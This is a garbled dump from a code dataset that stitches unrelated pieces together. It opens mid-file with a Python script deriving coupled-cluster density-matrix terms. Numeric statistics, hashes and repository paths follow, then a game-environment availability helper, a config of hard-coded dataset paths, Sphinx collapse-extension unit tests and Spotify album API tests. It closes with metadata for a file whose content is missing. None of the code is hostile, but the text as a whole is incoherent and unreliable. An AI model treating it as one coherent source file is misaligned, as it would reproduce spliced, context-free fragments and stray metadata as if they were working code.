BAC - CAB + CBA A = Dop B = 't1' C = 't1' pq.add_operator_product( 1.0/2.0,[L,A,B,C,R]) pq.add_operator_product(-1.0/2.0,[L,B,A,C,R]) pq.add_operator_product(-1.0/2.0,[L,C,A,B,R]) pq.add_operator_product( 1.0/2.0,[L,C,B,A,R]) pq.simplify() pq.print_fully_contracted() pq.clear() print('') print(' D1(e,f) = <0|(l0 + l1 + l2) e(-T) e(e,f) e(T) (r0 + r1 + r2)|0>') print('') Dop = 'e1(e,f)' for L in left_hand_operators: for R in right_hand_operators: # L e R pq.add_operator_product(1.0,[L,Dop,R]) # L [h, T2] R t2 = 't2' pq.add_operator_product( 1.0,[L,Dop,t2,R]) pq.add_operator_product(-1.0,[L,t2,Dop,R]) # L [h, T1] R t1 = 't1' pq.add_operator_product( 1.0,[L,Dop,t1,R]) pq.add_operator_product(-1.0,[L,t1,Dop,R]) # L [[e, T2], T2] R #[A,B],C] = [A,B]C - C[A,B] = ABC - BAC - CAB + CBA A = Dop B = 't2' C = 't2' pq.add_operator_product( 1.0/2.0,[L,A,B,C,R]) pq.add_operator_product(-1.0/2.0,[L,B,A,C,R]) pq.add_operator_product(-1.0/2.0,[L,C,A,B,R]) pq.add_operator_product( 1.0/2.0,[L,C,B,A,R]) # L [[e, T1], T2] + [[e, T2], T1] R #[A,B],C] = [A,B]C - C[A,B] = ABC - BAC - CAB + CBA A = Dop B = 't1' C = 't2' pq.add_operator_product( 1.0,[L,A,B,C,R]) pq.add_operator_product(-1.0,[L,B,A,C,R]) pq.add_operator_product(-1.0,[L,C,A,B,R]) pq.add_operator_product( 1.0,[L,C,B,A,R]) # L [[e, T1], T1] R #[A,B],C] = [A,B]C - C[A,B] = ABC - BAC - CAB + CBA A = Dop B = 't1' C = 't1' pq.add_operator_product( 1.0/2.0,[L,A,B,C,R]) pq.add_operator_product(-1.0/2.0,[L,B,A,C,R]) pq.add_operator_product(-1.0/2.0,[L,C,A,B,R]) pq.add_operator_product( 1.0/2.0,[L,C,B,A,R]) pq.simplify() pq.print_fully_contracted() pq.clear() print('') print(' D1(m,e) = <0|(l0 + l1 + l2) e(-T) e(m,e) e(T) (r0 + r1 + r2)|0>') print('') Dop = 'e1(m,e)' for L in left_hand_operators: for R in right_hand_operators: # L e R pq.add_operator_product(1.0,[L,Dop,R]) # L [h, T2] R t2 = 't2' pq.add_operator_product( 1.0,[L,Dop,t2,R]) pq.add_operator_product(-1.0,[L,t2,Dop,R]) # L [h, T1] R t1 = 't1' pq.add_operator_product( 1.0,[L,Dop,t1,R]) pq.add_operator_product(-1.0,[L,t1,Dop,R]) # L [[e, T2], T2] R #[A,B],C] = [A,B]C - C[A,B] = ABC - BAC - CAB + CBA A = Dop B = 't2' C = 't2' pq.add_operator_product( 1.0/2.0,[L,A,B,C,R]) pq.add_operator_product(-1.0/2.0,[L,B,A,C,R]) pq.add_operator_product(-1.0/2.0,[L,C,A,B,R]) pq.add_operator_product( 1.0/2.0,[L,C,B,A,R]) # L [[e, T1], T2] + [[e, T2], T1] R #[A,B],C] = [A,B]C - C[A,B] = ABC - BAC - CAB + CBA A = Dop B = 't1' C = 't2' pq.add_operator_product( 1.0,[L,A,B,C,R]) pq.add_operator_product(-1.0,[L,B,A,C,R]) pq.add_operator_product(-1.0,[L,C,A,B,R]) pq.add_operator_product( 1.0,[L,C,B,A,R]) # L [[e, T1], T1] R #[A,B],C] = [A,B]C - C[A,B] = ABC - BAC - CAB + CBA A = Dop B = 't1' C = 't1' pq.add_operator_product( 1.0/2.0,[L,A,B,C,R]) pq.add_operator_product(-1.0/2.0,[L,B,A,C,R]) pq.add_operator_product(-1.0/2.0,[L,C,A,B,R]) pq.add_operator_product( 1.0/2.0,[L,C,B,A,R]) pq.simplify() pq.print_fully_contracted() pq.clear() print('') print(' D1(e,m) = <0|(l0 + l1 + l2) e(-T) e(e,m) e(T) (r0 + r1 + r2)|0>') print('') Dop = 'e1(e,m)' for L in left_hand_operators: for R in right_hand_operators: # L e R pq.add_operator_product(1.0,[L,Dop,R]) # L [h, T2] R t2 = 't2' pq.add_operator_product( 1.0,[L,Dop,t2,R]) pq.add_operator_product(-1.0,[L,t2,Dop,R]) # L [h, T1] R t1 = 't1' pq.add_operator_product( 1.0,[L,Dop,t1,R]) pq.add_operator_product(-1.0,[L,t1,Dop,R]) # L [[e, T2], T2] R #[A,B],C] = [A,B]C - C[A,B] = ABC - BAC - CAB + CBA A = Dop B = 't2' C = 't2' pq.add_operator_product( 1.0/2.0,[L,A,B,C,R]) pq.add_operator_product(-1.0/2.0,[L,B,A,C,R]) pq.add_operator_product(-1.0/2.0,[L,C,A,B,R]) pq.add_operator_product( 1.0/2.0,[L,C,B,A,R]) # L [[e, T1], T2] + [[e, T2], T1] R #[A,B],C] = [A,B]C - C[A,B] = ABC - BAC - CAB + CBA A = Dop B = 't1' C = 't2' pq.add_operator_product( 1.0,[L,A,B,C,R]) pq.add_operator_product(-1.0,[L,B,A,C,R]) pq.add_operator_product(-1.0,[L,C,A,B,R]) pq.add_operator_product( 1.0,[L,C,B,A,R]) # L [[e, T1], T1] R #[A,B],C] = [A,B]C - C[A,B] = ABC - BAC - CAB + CBA A = Dop B = 't1' C = 't1' pq.add_operator_product( 1.0/2.0,[L,A,B,C,R]) pq.add_operator_product(-1.0/2.0,[L,B,A,C,R]) pq.add_operator_product(-1.0/2.0,[L,C,A,B,R]) pq.add_operator_product( 1.0/2.0,[L,C,B,A,R]) pq.simplify() pq.print_fully_contracted() pq.clear()
30.264069
94
0.481333
1,378
6,991
2.322206
0.046444
0.10625
0.27625
0.425
0.9425
0.9425
0.936875
0.936875
0.923125
0.923125
0
0.071095
0.295809
6,991
230
95
30.395652
0.578915
0.163782
0
0.921053
0
0.026316
0.064933
0
0
0
0
0
0
1
0
false
0
0.006579
0
0.006579
0.105263
0
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
e32c9abcd5fd998969762c72dad11793b3bd1c14
378
py
Python
envs/env_utils.py
erikwijmans/sample-factory
3835f51b7e25dddd12884082f42665b241b7e457
[ "MIT" ]
null
null
null
envs/env_utils.py
erikwijmans/sample-factory
3835f51b7e25dddd12884082f42665b241b7e457
[ "MIT" ]
null
null
null
envs/env_utils.py
erikwijmans/sample-factory
3835f51b7e25dddd12884082f42665b241b7e457
[ "MIT" ]
1
2020-07-07T07:52:25.000Z
2020-07-07T07:52:25.000Z
from utils.utils import is_module_available class EnvCriticalError(Exception): pass def vizdoom_available(): return is_module_available('vizdoom') def minigrid_available(): return is_module_available('gym_minigrid') def quadrotors_available(): return is_module_available('gym_art') def dmlab_available(): return is_module_available('deepmind_lab')
17.181818
46
0.775132
46
378
6
0.434783
0.144928
0.307971
0.333333
0.485507
0.253623
0
0
0
0
0
0
0.140212
378
21
47
18
0.849231
0
0
0
0
0
0.100529
0
0
0
0
0
0
1
0.363636
true
0.090909
0.090909
0.363636
0.909091
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
1
0
1
1
0
0
7
e36dae50ac752e374f777d9099f1d055a8f2a6e3
2,737
py
Python
main/config.py
nqanh/video_2_command
0852f1fb96579cb01740e7d2e20e54092383a34d
[ "MIT" ]
6
2019-06-18T19:20:36.000Z
2021-12-01T06:24:58.000Z
main/config.py
nqanh/video_2_command
0852f1fb96579cb01740e7d2e20e54092383a34d
[ "MIT" ]
5
2019-08-02T19:44:45.000Z
2021-11-06T05:48:10.000Z
main/config.py
nqanh/video_2_command
0852f1fb96579cb01740e7d2e20e54092383a34d
[ "MIT" ]
3
2019-07-07T16:51:12.000Z
2021-10-16T14:02:11.000Z
# return hyper parameters import os def get_global_parameters(): dic_param = { 'dim_hidden':512, #'dim_hidden':256, 'n_frame_step': 30, ## DO NOT CHANGE 'n_epochs': 1000, #'learning_rate': 0.0001, ## GOOD FOR VGG + RESNET 'learning_rate': 0.0001, ## Test for GoogleNet 'batch_size': 16, 'resnet':{'dim_image':2048, 'train_path': '/home/anguyen/workspace/dataset/Breakfast/v2c_dataset/train_test_split/train_resnet50.pkl', 'test_path':'/home/anguyen/workspace/dataset/Breakfast/v2c_dataset/train_test_split/test_resnet50.pkl'}, 'vgg19':{'dim_image':4096, 'train_path': '/home/anguyen/workspace/dataset/Breakfast/v2c_dataset/train_test_split/train_vgg19.pkl', 'test_path':'/home/anguyen/workspace/dataset/Breakfast/v2c_dataset/train_test_split/test_vgg19.pkl'}, 'resnet50_keras_feature_no_sub_mean':{'dim_image':2048, 'train_path': '/home/anguyen/workspace/dataset/Breakfast/v2c_dataset/train_test_split/train_resnet50_keras_feature_no_sub_mean.pkl', 'test_path':'/home/anguyen/workspace/dataset/Breakfast/v2c_dataset/train_test_split/test_resnet50_keras_feature_no_sub_mean.pkl'}, 'vgg16_keras_feature_no_sub_mean':{'dim_image':4096, 'train_path': '/home/anguyen/workspace/dataset/Breakfast/v2c_dataset/train_test_split/train_vgg16_keras_feature_no_sub_mean.pkl', 'test_path':'/home/anguyen/workspace/dataset/Breakfast/v2c_dataset/train_test_split/test_vgg16_keras_feature_no_sub_mean.pkl'}, 'inception_keras_feature_no_sub_mean':{'dim_image':2048, 'train_path': '/home/anguyen/workspace/dataset/Breakfast/v2c_dataset/train_test_split/train_inception_keras_feature_no_sub_mean.pkl', 'test_path':'/home/anguyen/workspace/dataset/Breakfast/v2c_dataset/train_test_split/test_inception_keras_feature_no_sub_mean.pkl'}, 'inception_tensorflow_from_saliency':{'dim_image':2048, 'train_path': '/home/anguyen/workspace/dataset/Breakfast/v2c_dataset/train_test_split/train_inception_tensorflow_from_saliency.pkl', 'test_path':'/home/anguyen/workspace/dataset/Breakfast/v2c_dataset/train_test_split/test_inception_tensorflow_from_saliency.pkl'}, } return dic_param
63.651163
161
0.624406
306
2,737
5.153595
0.199346
0.060875
0.114141
0.182625
0.837032
0.807229
0.798985
0.722257
0.722257
0.722257
0
0.041227
0.273292
2,737
42
162
65.166667
0.751634
0.044209
0
0
0
0
0.623945
0.534919
0
0
0
0
0
1
0.035714
false
0
0.035714
0
0.107143
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
8b554396770831fdd3dbf2a2a507d856777428ab
3,808
py
Python
_unittests/ut_sphinxext/test_collapse_extension.py
Pandinosaurus/pyquickhelper
326276f656cf88989e4d0fcd006ada0d3735bd9e
[ "MIT" ]
18
2015-11-10T08:09:23.000Z
2022-02-16T11:46:45.000Z
_unittests/ut_sphinxext/test_collapse_extension.py
Pandinosaurus/pyquickhelper
326276f656cf88989e4d0fcd006ada0d3735bd9e
[ "MIT" ]
321
2015-06-14T21:34:28.000Z
2021-11-28T17:10:03.000Z
_unittests/ut_sphinxext/test_collapse_extension.py
Pandinosaurus/pyquickhelper
326276f656cf88989e4d0fcd006ada0d3735bd9e
[ "MIT" ]
10
2015-06-20T01:35:00.000Z
2022-01-19T15:54:32.000Z
""" @brief test log(time=4s) @author Xavier Dupre """ import sys import os import unittest from docutils.parsers.rst import directives from pyquickhelper.pycode import get_temp_folder, ExtTestCase from pyquickhelper.helpgen import rst2html class TestCollapseExtension(ExtTestCase): def test_collapse(self): from docutils import nodes as skip_ content = """ before .. collapse:: this code shoud appear___ after """.replace(" ", "") if sys.version_info[0] >= 3: content = content.replace('u"', '"') temp = get_temp_folder(__file__, "temp_collapse") # RST html = rst2html(content, writer="rst", keep_warnings=True) with open(os.path.join(temp, "out_collapse.rst"), "w", encoding="utf8") as f: f.write(html) t1 = " this code shoud appear___" if t1 not in html: raise Exception(html) t1 = ".. collapse::" if t1 not in html: raise Exception(html) t1 = " :legend:" if t1 not in html: raise Exception(html) t1 = "after" if t1 not in html: raise Exception(html) t1 = ".. collapse:: :legend:" if t1 in html: raise Exception(html) # HTML html = rst2html(content, writer="custom", keep_warnings=True) with open(os.path.join(temp, "out_collapse.html"), "w", encoding="utf8") as f: f.write(html) t1 = "this code shoud appear" if t1 not in html: raise Exception(html) t1 = "after" if t1 not in html: raise Exception(html) t1 = 'if (x.style.display === "none")' if t1 not in html: raise Exception(html) t1 = "b.innerText = 'unhide';" if t1 not in html: raise Exception(html) def test_collapse_legend(self): from docutils import nodes as skip_ content = """ before .. collapse:: :legend: ABC/abcd this code shoud appear___ after """.replace(" ", "") if sys.version_info[0] >= 3: content = content.replace('u"', '"') # RST html = rst2html(content, writer="rst", keep_warnings=True) t1 = ":legend: ABC/abcd" if t1 not in html: raise Exception(html) t1 = ":hide:" if t1 in html: raise Exception(html) # HTML html = rst2html(content, writer="custom", keep_warnings=True) t1 = "b.innerText = 'abcd';" if t1 not in html: raise Exception(html) def test_collapse_show(self): from docutils import nodes as skip_ content = """ before .. collapse:: :legend: ABC/abcd :hide: this code shoud appear___ after """.replace(" ", "") if sys.version_info[0] >= 3: content = content.replace('u"', '"') # RST html = rst2html(content, writer="rst", keep_warnings=True) t1 = ":hide:" if t1 not in html: raise Exception(html) # HTML html = rst2html(content, writer="custom", keep_warnings=True) t1 = ">abcd<" if t1 not in html: raise Exception(html) t1 = '"display:none;"' if t1 not in html: raise Exception(html) if __name__ == "__main__": unittest.main()
24.727273
86
0.489496
398
3,808
4.562814
0.208543
0.03304
0.090859
0.165198
0.787445
0.787445
0.787445
0.787445
0.78359
0.745044
0
0.020372
0.407038
3,808
153
87
24.888889
0.78388
0.021534
0
0.72449
0
0
0.267708
0
0
0
0
0
0
1
0.030612
false
0
0.091837
0
0.132653
0
0
0
0
null
0
0
1
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
8b6354057b8564afc6662404dfeda7ec6499065f
5,312
py
Python
wskey.py
Mario0o/jdd
a870cf3af7dbfedd10498c066d772e96b121859f
[ "MIT" ]
1
2021-09-25T06:05:49.000Z
2021-09-25T06:05:49.000Z
wskey.py
Mario0o/jdd
a870cf3af7dbfedd10498c066d772e96b121859f
[ "MIT" ]
null
null
null
wskey.py
Mario0o/jdd
a870cf3af7dbfedd10498c066d772e96b121859f
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -* ''' cron: 18 */12 * * * wskey.py new Env('wskey转换'); ''' import zlib, base64 exec(zlib.decompress(base64.b64decode('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')))
664
5,211
0.957455
183
5,312
27.79235
0.989071
0
0
0
0
0
0
0
0
0
0
0.158541
0.003765
5,312
7
5,212
758.857143
0.802532
0.013178
0
0
0
0.5
0.98739
0.98739
0
1
0
0
0
1
0
true
0
0.5
0
0.5
0
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
1
0
0
0
0
0
1
1
1
null
1
0
0
0
0
0
1
0
1
0
0
0
0
10
8ba015f907418aa79853544a7250aa63ec2e89db
1,432
py
Python
tests/test_integration/test_sync/test_album.py
Nobyx/pyfy
e18a7b7e48eefc4cb58e5d826c341bce99452a66
[ "MIT" ]
48
2019-02-13T19:53:39.000Z
2021-05-04T20:56:34.000Z
tests/test_integration/test_sync/test_album.py
Nobyx/pyfy
e18a7b7e48eefc4cb58e5d826c341bce99452a66
[ "MIT" ]
21
2019-01-09T17:46:13.000Z
2021-08-22T12:38:59.000Z
tests/test_integration/test_sync/test_album.py
Nobyx/pyfy
e18a7b7e48eefc4cb58e5d826c341bce99452a66
[ "MIT" ]
15
2019-01-03T01:30:24.000Z
2022-01-30T09:53:18.000Z
def test_save_album(spotify_user_auth, nothing_was_the_same_album_id): assert spotify_user_auth.save_albums(nothing_was_the_same_album_id) is not None def test_save_albums( spotify_user_auth, scorpion_album_id, nothing_was_the_same_album_id ): assert ( spotify_user_auth.save_albums( [scorpion_album_id, nothing_was_the_same_album_id] ) is not None ) def test_owns_album(spotify_user_auth, scorpion_album_id): assert spotify_user_auth.owns_albums(scorpion_album_id) def test_owns_albums( spotify_user_auth, scorpion_album_id, nothing_was_the_same_album_id ): assert spotify_user_auth.owns_albums( [scorpion_album_id, nothing_was_the_same_album_id] ) def test_delete_album(spotify_user_auth, scorpion_album_id): assert spotify_user_auth.delete_albums(scorpion_album_id) is not None def test_delete_albums( spotify_user_auth, scorpion_album_id, nothing_was_the_same_album_id ): assert ( spotify_user_auth.delete_albums( [scorpion_album_id, nothing_was_the_same_album_id] ) is not None ) def test_album(spotify_user_auth, reise_reise_album_id, ritual_spirit_album_id): assert spotify_user_auth.albums( album_ids=[reise_reise_album_id, ritual_spirit_album_id] ) def test_albums(spotify_user_auth, reise_reise_album_id): assert spotify_user_auth.albums(reise_reise_album_id)
28.078431
83
0.778631
216
1,432
4.555556
0.111111
0.170732
0.243902
0.138211
0.886179
0.886179
0.886179
0.767276
0.694106
0.694106
0
0
0.167598
1,432
50
84
28.64
0.825503
0
0
0.361111
0
0
0
0
0
0
0
0
0.222222
1
0.222222
false
0
0
0
0.222222
0
0
0
0
null
0
1
0
1
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
7
8bb34c5063f49c83fb096795f64f5d8ac144c9a1
67
py
Python
blog/test.py
hacking-science/hacking-science-website
853278476853b34902b706dec1266ec48cabcfdc
[ "MIT" ]
3
2018-01-16T18:56:29.000Z
2018-01-30T18:07:07.000Z
blog/test.py
hacking-science/hacking-science-website
853278476853b34902b706dec1266ec48cabcfdc
[ "MIT" ]
61
2018-01-10T21:26:06.000Z
2021-06-10T20:12:04.000Z
blog/test.py
hacking-science/hacking-science-website
853278476853b34902b706dec1266ec48cabcfdc
[ "MIT" ]
null
null
null
from blog.tests.controller import * from blog.tests.model import *
22.333333
35
0.791045
10
67
5.3
0.6
0.301887
0.490566
0
0
0
0
0
0
0
0
0
0.119403
67
2
36
33.5
0.898305
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
8bde9c29b1f4ad10a872f8fd21eabfbf75e10118
200
py
Python
app/views.py
2knal/WheresThat
de2e41abc5a83cd78bee74bdc65b4b5b5167edfe
[ "MIT" ]
2
2019-02-03T11:12:47.000Z
2019-04-26T21:30:20.000Z
app/views.py
2knal/WheresThat
de2e41abc5a83cd78bee74bdc65b4b5b5167edfe
[ "MIT" ]
null
null
null
app/views.py
2knal/WheresThat
de2e41abc5a83cd78bee74bdc65b4b5b5167edfe
[ "MIT" ]
2
2019-02-03T13:14:09.000Z
2019-03-20T15:39:32.000Z
from django.shortcuts import render context = {} def home(request): return render(request, 'app/index.html', context) def client(request): return render(request, 'app/client.html', context)
22.222222
54
0.725
26
200
5.576923
0.538462
0.137931
0.262069
0.358621
0.4
0
0
0
0
0
0
0
0.145
200
8
55
25
0.847953
0
0
0
0
0
0.145
0
0
0
0
0
0
1
0.333333
false
0
0.166667
0.333333
0.833333
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
7
475a773ae7c3ae9aa93dc31e5f76c985d9af7581
15,347
py
Python
nova/tests/unit/api/openstack/compute/test_quota_classes.py
bopopescu/nova-token
ec98f69dea7b3e2b9013b27fd55a2c1a1ac6bfb2
[ "Apache-2.0" ]
null
null
null
nova/tests/unit/api/openstack/compute/test_quota_classes.py
bopopescu/nova-token
ec98f69dea7b3e2b9013b27fd55a2c1a1ac6bfb2
[ "Apache-2.0" ]
null
null
null
nova/tests/unit/api/openstack/compute/test_quota_classes.py
bopopescu/nova-token
ec98f69dea7b3e2b9013b27fd55a2c1a1ac6bfb2
[ "Apache-2.0" ]
2
2017-07-20T17:31:34.000Z
2020-07-24T02:42:19.000Z
